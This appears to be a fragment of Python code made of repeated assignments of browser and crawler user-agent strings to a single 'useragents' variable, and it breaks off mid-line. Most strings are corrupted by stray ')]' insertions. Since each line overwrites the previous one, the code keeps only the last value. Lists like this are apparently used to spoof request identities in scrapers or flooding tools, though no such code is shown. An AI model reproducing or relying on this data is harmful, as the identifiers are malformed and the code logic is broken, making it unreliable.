useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; 